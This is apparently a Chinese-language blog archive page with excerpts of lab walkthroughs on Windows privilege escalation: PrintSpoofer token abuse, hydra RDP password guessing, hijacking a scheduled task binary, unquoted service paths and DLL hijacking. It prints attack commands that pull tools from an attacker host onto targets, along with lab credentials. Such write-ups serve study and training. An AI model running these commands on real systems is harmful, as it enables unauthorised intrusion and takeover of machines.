發表文章

目前顯示的是 9月, 2023的文章

Windows 漏洞利用

圖片
 Windows 漏洞利用 練習 1 靶機 IP 192.168.240.220,使用 PrintSpoofer 取得程式碼執行並提權,或取 daveadmin 桌面的 flag 該機器 4444 Port 已經有個一般使用者的 Remote Shell 第一步 nc 4444 到靶機然後 whoami /priv 查一下此 Shell 的使用者權限 馬上看到 SeImpersonatePrivilege 的狀態是 Enable,那就妥了 題目寫要利用 PrintSpoofer ,所以直接去下載一個該工具的 64 版本 wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe 然後透過 iwr GET 載入到靶機 iwr -uri http://192.168.45.214/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe 要使用 PrintSpoofer64.exe 在 NT AUTHORITY\SYSTEM 上下文中取得互動式 PowerShell Session,我們使用參數 -c 來指定我們要執行的命令 powershell.exe,並透過參數 -i 來與當前進程進行交互命令提示符。 指令 : .\PrintSpoofer64.exe -i -c powershell.exe 原本是 dave,執行完後 whoami 變成 nt authority\system 可以拿 flag 了 練習 2 靶機 IP 192.168.240.222,提權並獲取 enterpriseadmin 桌面的 flag 該機器 4444 Port 已經有個一般使用者的 Remote Shell nc 後查看權限,有 Enable 的是 SeChangeNotifyPrivilege,暫時沒戲 接著在 Documents 底下發現很多文件檔,note2.txt 有寫預設密碼是 WelcomeToWinter0121 那就 net user 一下建立使用者帳號檔案 w32user.txt 然後 hydra RDP 破破看 hydra -L /home/kali/w...

Windows Scheduled Tasks 提權

圖片
Windows Scheduled Tasks 提權   從排程任務中取得三個資訊對於識別可能的權限升級向量至關重要:  - 該任務以哪個使用者帳戶(主體)執行?  - 為任務指定了哪些觸發器?  - 當滿足其中一個或多個觸發器時會執行哪些操作? 靶機 IP 192.168.195.220,已知帳號密碼 steve / securityIsNotAnOption++++++ 透過取代指定為操作的二進位檔案來利用排程任務 CacheCleanup 。取得程式碼執行、互動式 shell 或以管理使用者身分存取 GUI,並在 daveadmin 桌面上找到 Flag。 第一步 RDP 進去 └─$ xfreerdp -v:192.168.195.220 -u:steve -p:securityIsNotAnOption++++++ 可以使用 Get-ScheduledTask 查看當前的任務 或是使用 schtasks /query /fo LIST /v 來查看也可以 一般滲透時要專注在作者(Author)、任務名稱、路徑(Task to Run)、下次執行時間(Next Run Time)這幾個比較有用的欄位 本練習有直接告知專注 CacheCleanup 任務如下 路徑 C:\Users\steve\Pictures\BackendCacheCleanup.exe Run As User : daveadmin 看起來約每分鐘會執行一次該 Task 在 GUI 的介面中也可以看到該 Task 如下圖 該任務是由 daveadmin 帳號執行,但是執行的檔案位於 steve 帳號的 Profile 底下,所以 steve 應該有權限可以修改該檔案,最簡單的方式就是 icacls 查看一下 指令 : icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe 結果顯示 (F) : FullControl,那就是直接替換檔案最快了 前幾節用到的 adduser.exe 直接拿來利用,一樣透過 iwr 從我們的攻擊機下載,存檔時直接使用預計替換的檔名 BackendCacheCleanup.exe iwr -Uri http://192.168.4...

未加引號的 Windows 服務

圖片
 未加引號的 Windows 服務 假設今天要執行一個服務 service.exe 路徑在 " C:\Program Files\My Program\My service\ " 這裡底下,lpApplicationName 用於指定服務執行檔的名稱和路徑。如果提供的路徑字串當中包含空格且未用引號括起來,則因為函數很笨不清楚檔案名稱結束和參數開始的位置。所以為了確定這一點,函數開始從左到右的路徑直到到達空格,且對於檔案路徑中的每個空格,函數透過新增 .exe 和其餘部分作為參數,使用前面的部分作為檔案名稱試著啟動服務 故透過一個未加引號的服務二進位路徑 C:\Program Files\My Program\My Service\service.exe 的範例來展示這一點 。當Windows啟動該服務時,由於路徑中存在空格,它將使用以下順序嘗試啟動可執行檔。看到這裡應該猜到可以利用的方式了,就是查找未加引號的服務檔,然後路徑當中有包含空格,就可以利用了 C:\Program.exe C:\Program Files\My.exe C:\Program Files\My Program\My.exe C:\Program Files\My Program\My service\service.exe 所以惡意程式可以是 Program.exe 放在 C:\ 路徑下 也可以是 My.exe 放在 C:\Program Files\ or  C:\Program Files\My Program\  路徑下 但一般 C:\ & C:\Program Files\ 這兩個屬於系統預設路徑 想要將檔案放置於這兩個地方需要特殊權限,當有特殊權限時誰還會去放檔案 放檔案是為了提權所以都是一般使用者帳號,故後面兩個路徑較有可能放檔案 練習 1  靶機 IP : 192.168.195.220,已知一般使用者帳號密碼 steve / securityIsNotAnOption++++++ 利用 GammaService 服務路徑,獲取 daveadmin 桌面上的 flag 第一步 RDP 進去 └─$ xfreerdp -v:192.168.195.220 -u:steve -p:securityIs...

Windows 服務 DLL 劫持

圖片
 Windows 服務 DLL 劫持 前一篇中替換服務的二進位檔案是嘗試在 Windows 系統上進行權限提升的非常有效的方法 但往往不是這麼順利,因為權限的問題,所以進一步可以透過引用的 dll 檔案來做為另外一種選擇,這個往往是比較容易的方式,因為如果每個誠史都要自己編譯與準備相關的函式庫,那整個檔案與系統將會過大,所以幾乎都是調用內建的 dll 函式庫,上一篇覆蓋的是執行的 *.exe 檔案,這一篇大同小異,只是替換的檔案改成調用的 dll 函式庫 目前 Windows 版本上的標準 DLL 搜尋順序如下 1. The directory from which the application loaded. 2. The system directory. 3. The 16-bit system directory. 4. The Windows directory. 5. The current directory. 6. The directories that are listed in the PATH environment variable. 所以一般利用的方式是可以嘗試將惡意 DLL(帶有丟失 DLL 的名稱)放置在 DLL 搜尋順序的路徑中,以便它在二進位執行檔啟動時執行。 靶機 : 192.168.227.220,已知使用者帳號密碼 steve / securityIsNotAnOption++++++ 第一步 RDP 進去└─$ xfreerdp -v:192.168.227.220 -u:steve -p:securityIsNotAnOption++++++ 一樣先列舉服務 Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'} 本次要利用的是 BetaService 一樣看一下該服務相關使用者權限,icacls .\Documents\BetaServ.exe,只有 (RX) 所以無法像前一篇一樣替換服務執行檔 我們的目標是識別 BetaService載入的所有 DLL並偵測遺失的 DLL。一旦我們獲得了服務二進位檔案使用的 DL...